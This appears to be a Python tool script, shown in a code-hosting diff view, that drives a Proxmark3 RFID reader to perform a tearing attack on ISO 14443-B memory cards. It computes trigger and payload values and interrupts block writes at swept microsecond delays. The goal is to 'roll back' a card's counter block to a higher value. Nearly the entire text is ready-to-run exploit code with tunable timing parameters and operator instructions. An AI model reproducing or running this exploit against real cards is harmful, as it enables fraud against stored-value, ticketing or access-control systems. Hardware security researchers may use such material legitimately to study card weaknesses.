Returns:
|
||||||
|
list of string
|
||||||
|
"""
|
||||||
|
list_dest = list()
|
||||||
|
for i in range(4):
|
||||||
|
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
|
||||||
|
return list_dest
|
||||||
|
|
||||||
|
|
||||||
|
def ponderated_read(b_num, repeat_read, sleep_over):
|
||||||
|
"""read a few times a block and give a pondered dictionary
|
||||||
|
|
||||||
|
Args:
|
||||||
|
b_num: block number to read
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dictionary (key: int, value: number of occurrences)
|
||||||
|
"""
|
||||||
|
weight_r = dict()
|
||||||
|
|
||||||
|
for _ in range(repeat_read):
|
||||||
|
# sleep_over=0 favorize read at 0
|
||||||
|
# (and allow early discovery of weak bits)
|
||||||
|
result = slist_to_int(
|
||||||
|
sub_com(f"hf 14b rdbl -b {b_num}",
|
||||||
|
parse_rdbl,
|
||||||
|
sleep_over=sleep_over))
|
||||||
|
if result in weight_r:
|
||||||
|
weight_r[result] += 1
|
||||||
|
else:
|
||||||
|
weight_r[result] = 1
|
||||||
|
|
||||||
|
return weight_r
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
|
||||||
|
"""
|
||||||
|
|
||||||
|
Args:
|
||||||
|
b_num: block number
|
||||||
|
stop: last tearing timing
|
||||||
|
|
||||||
|
"""
|
||||||
|
# Sending RAW writes because `wrbl` spend additionnal time checking success
|
||||||
|
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
||||||
|
|
||||||
|
set_space(1)
|
||||||
|
dic = ponderated_read(b_num, repeat_read, sleep_over)
|
||||||
|
|
||||||
|
for value, occur in dic.items():
|
||||||
|
|
||||||
|
indic = colors.reset
|
||||||
|
|
||||||
|
if value > original_value:
|
||||||
|
indic = colors.purple
|
||||||
|
|
||||||
|
elif value < original_value:
|
||||||
|
indic = colors.lightblue
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"{(occur / repeat_read) * 100} %"
|
||||||
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
|
||||||
|
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
|
||||||
|
|
||||||
|
target = max(dic)
|
||||||
|
|
||||||
|
read_back = 0
|
||||||
|
|
||||||
|
# There is no ACK for write so we use a read to check distance coherence
|
||||||
|
if target > (original_value):
|
||||||
|
|
||||||
|
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
|
||||||
|
f"\nKeep card at the max distance from the reader.\n")
|
||||||
|
|
||||||
|
while (read_back != (target - 1)):
|
||||||
|
print(f"{colors.bold}Writing :{colors.reset}"
|
||||||
|
f" {''.join(map(str,int_to_slist(target - 1)))}")
|
||||||
|
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
|
||||||
|
read_back = slist_to_int(
|
||||||
|
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
||||||
|
|
||||||
|
while (read_back != (target - 2)):
|
||||||
|
print(f"{colors.bold}Writing :{colors.reset}"
|
||||||
|
f" {''.join(map(str,int_to_slist(target - 2)))}")
|
||||||
|
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
|
||||||
|
read_back = slist_to_int(
|
||||||
|
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
||||||
|
|
||||||
|
set_space(0)
|
||||||
|
|
||||||
|
|
||||||
|
def strat_1_values(original_value):
|
||||||
|
"""return payload and trigger value depending on original_value
|
||||||
|
follow strategy 1 rules
|
||||||
|
|
||||||
|
Args:
|
||||||
|
original_value: starting value before exploit
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(payload_value, trigger_value) if possible
|
||||||
|
None otherwise
|
||||||
|
"""
|
||||||
|
high1bound = 30
|
||||||
|
|
||||||
|
# Check for leverageable bits positions,
|
||||||
|
# Start from bit 32, while their is no bit at 1 decrement position
|
||||||
|
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
|
||||||
|
high1bound -= 1
|
||||||
|
if high1bound < 1:
|
||||||
|
# No bits can be used as leverage
|
||||||
|
return None
|
||||||
|
|
||||||
|
low1bound = high1bound
|
||||||
|
|
||||||
|
# We found a suitable pair of bits at 1,
|
||||||
|
# While their is bits at 1, decrement position
|
||||||
|
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
|
||||||
|
low1bound -= 1
|
||||||
|
if low1bound < 1:
|
||||||
|
# No bits can be reset
|
||||||
|
return None
|
||||||
|
|
||||||
|
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
||||||
|
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
||||||
|
|
||||||
|
return (trigger_value, payload_value)
|
||||||
|
|
||||||
|
|
||||||
|
def strat_2_values(original_value):
|
||||||
|
"""return payload and trigger value depending on original_value
|
||||||
|
follow strategy 2 rules
|
||||||
|
|
||||||
|
Args:
|
||||||
|
original_value: starting value before exploit
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(payload_value, trigger_value) if possible
|
||||||
|
None otherwise
|
||||||
|
"""
|
||||||
|
high1bound = 31
|
||||||
|
|
||||||
|
# Check for leverageable bit position,
|
||||||
|
# Start from bit 32, while their is no bit at 1 decrement position
|
||||||
|
while not (original_value & (0b1 << high1bound)):
|
||||||
|
high1bound -= 1
|
||||||
|
if high1bound < 1:
|
||||||
|
# No bits can be used as leverage
|
||||||
|
return None
|
||||||
|
|
||||||
|
low1bound = high1bound
|
||||||
|
|
||||||
|
# We found a suitable bit at 1,
|
||||||
|
# While their is bits at 1, decrement position
|
||||||
|
while (original_value & (0b1 << low1bound)):
|
||||||
|
low1bound -= 1
|
||||||
|
if low1bound < 1:
|
||||||
|
# No bits can be reset
|
||||||
|
return None
|
||||||
|
|
||||||
|
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
|
||||||
|
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
|
||||||
|
|
||||||
|
return (trigger_value, payload_value)
|
||||||
|
|
||||||
|
|
||||||
|
def tear_for_fears(b_num, strategy):
|
||||||
|
"""try to roll back `b_num` counter using `strategy`
|
||||||
|
|
||||||
|
Args:
|
||||||
|
b_num: block number
|
||||||
|
"""
|
||||||
|
|
||||||
|
################################################################
|
||||||
|
######### You may want to play with theses parameters #########
|
||||||
|
start_taring_delay = 130
|
||||||
|
|
||||||
|
repeat_read = 8
|
||||||
|
repeat_write = 5
|
||||||
|
|
||||||
|
sleep_quick = 0
|
||||||
|
sleep_long = 0.3
|
||||||
|
################################################################
|
||||||
|
|
||||||
|
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
||||||
|
|
||||||
|
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
|
||||||
|
|
||||||
|
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
||||||
|
original_value = max(tmp, key=tmp.get)
|
||||||
|
|
||||||
|
if strategy == 1:
|
||||||
|
leverageable_values = strat_1_values(original_value)
|
||||||
|
else:
|
||||||
|
leverageable_values = strat_2_values(original_value)
|
||||||
|
|
||||||
|
if leverageable_values is None:
|
||||||
|
print(
|
||||||
|
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
|
||||||
|
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
|
||||||
|
f" : { bin(original_value)[2:].zfill(32)}")
|
||||||
|
return
|
||||||
|
|
||||||
|
else:
|
||||||
|
(trigger_value, payload_value) = leverageable_values
|
||||||
|
|
||||||
|
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
|
||||||
|
f" : { bin(original_value)[2:].zfill(32)}")
|
||||||
|
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
|
||||||
|
f" : { bin(trigger_value)[2:].zfill(32)}")
|
||||||
|
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
|
||||||
|
f" : { bin(payload_value)[2:].zfill(32)}\n")
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"{colors.bold}Color coding :{colors.reset}\n"
|
||||||
|
f"{colors.reset}\tValue we started with{colors.reset}\n"
|
||||||
|
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
|
||||||
|
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
|
||||||
|
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
|
||||||
|
f"{colors.purple}\tAbove initial value {colors.reset}")
|
||||||
|
|
||||||
|
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
|
||||||
|
return
|
||||||
|
|
||||||
|
trigger_flag = False
|
||||||
|
payload_flag = False
|
||||||
|
t4fears_flag = False
|
||||||
|
|
||||||
|
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
|
||||||
|
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
|
||||||
|
|
||||||
|
tear_us = start_taring_delay
|
||||||
|
|
||||||
|
while not trigger_flag:
|
||||||
|
|
||||||
|
for _ in range(repeat_write):
|
||||||
|
|
||||||
|
if t4fears_flag:
|
||||||
|
exploit_weak_bit(b_num, original_value, repeat_read,
|
||||||
|
sleep_long)
|
||||||
|
|
||||||
|
if trigger_flag:
|
||||||
|
break
|
||||||
|
|
||||||
|
sub_com(
|
||||||
|
f"hw tearoff --delay {tear_us} --on ; "
|
||||||
|
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
|
||||||
|
|
||||||
|
preamb = f"Tear timing = {tear_us:02d} us : "
|
||||||
|
print(preamb, end="")
|
||||||
|
|
||||||
|
trigger_flag = True
|
||||||
|
|
||||||
|
for value, occur in ponderated_read(b_num, repeat_read,
|
||||||
|
sleep_quick).items():
|
||||||
|
|
||||||
|
indic = colors.reset
|
||||||
|
# Here we want 100% chance of having primed one sub-counter
|
||||||
|
# The logic is inverted for payload
|
||||||
|
if value > original_value:
|
||||||
|
indic = colors.purple
|
||||||
|
t4fears_flag = True
|
||||||
|
trigger_flag = False
|
||||||
|
|
||||||
|
elif value == trigger_value:
|
||||||
|
indic = colors.green
|
||||||
|
|
||||||
|
elif value < original_value:
|
||||||
|
indic = colors.lightblue
|
||||||
|
|
||||||
|
else:
|
||||||
|
trigger_flag = False
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"{(occur / repeat_read) * 100:3.0f} %"
|
||||||
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
||||||
|
f"{colors.reset} : {indic}"
|
||||||
|
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
||||||
|
end=f"\n{' ' * len(preamb)}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
tear_us += 1
|
||||||
|
|
||||||
|
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
|
||||||
|
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
|
||||||
|
|
||||||
|
tear_us = start_taring_delay
|
||||||
|
|
||||||
|
while True:
|
||||||
|
|
||||||
|
for _ in range(repeat_write):
|
||||||
|
|
||||||
|
if payload_flag:
|
||||||
|
|
||||||
|
exploit_weak_bit(b_num, original_value, repeat_read,
|
||||||
|
sleep_long)
|
||||||
|
|
||||||
|
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
||||||
|
if max(tmp, key=tmp.get) > original_value:
|
||||||
|
print(f"{colors.bold}Success ! {colors.reset}")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
payload_flag = False
|
||||||
|
|
||||||
|
sub_com(
|
||||||
|
f"hw tearoff --delay {tear_us} --on ; "
|
||||||
|
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
|
||||||
|
|
||||||
|
preamb = f"Tear timing = {tear_us:02d} us : "
|
||||||
|
print(preamb, end="")
|
||||||
|
|
||||||
|
for value, occur in ponderated_read(b_num, repeat_read,
|
||||||
|
sleep_quick).items():
|
||||||
|
|
||||||
|
indic = colors.reset
|
||||||
|
|
||||||
|
if value > original_value:
|
||||||
|
indic = colors.purple
|
||||||
|
payload_flag = True
|
||||||
|
|
||||||
|
elif value == payload_value:
|
||||||
|
indic = colors.green
|
||||||
|
payload_flag = True
|
||||||
|
|
||||||
|
elif value < trigger_value:
|
||||||
|
indic = colors.lightblue
|
||||||
|
|
||||||
|
elif value > trigger_value:
|
||||||
|
indic = colors.lightred
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"{(occur / repeat_read) * 100:3.0f} %"
|
||||||
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
||||||
|
f"{colors.reset} : {indic}"
|
||||||
|
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
||||||
|
end=f"\n{' ' * len(preamb)}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
tear_us += 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
Loading…
Add table
Add a link
Reference in a new issue